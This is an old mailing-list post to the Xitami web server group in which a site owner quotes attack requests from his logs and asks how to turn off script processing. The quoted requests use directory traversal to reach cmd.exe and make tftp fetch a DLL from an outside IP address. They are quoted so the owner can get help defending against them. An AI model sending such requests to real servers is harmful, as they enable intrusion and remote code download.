[Xitami] Security Issue - Disabling Script Processing

[Rob @ BMM]

Hi,

Please forgive me if I have not sent this correctly to the group.

Can somebody help me with this.

Periodically, I see in the access logs and error logs, an attempt from a
hacker to run certain types of scripts in a cmd window such as the
following:

"GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G
ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
"GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G
ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
"GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G
ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
"GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
"GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET
%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
"GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET
%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
"GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET
%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""

Notice that the hacker successfully used tftp to send some info back to
himself.  My router logs confirmed that this occurred.  I have since
eliminated all access rights to tftp.  Not even the admin has rights
anymore.  Since this is on a Win2k system, you just can't delete or rename
certain system executables such as cmd.exe or tftp.exe.  Windows just
restores it automatically.

The question is: Since I run a simple HTML only site and don't need CGI
processing, what can I do to eliminate all script processing of this nature.

PS - The rest of you probably encounter some of these same security issues.
You should check.

Best Regards,
Rob Allen
President, Blue Marble Meds LLC.  Offering 30-75% off Prescription Meds
See us at http://www.BlueMarbleMeds.com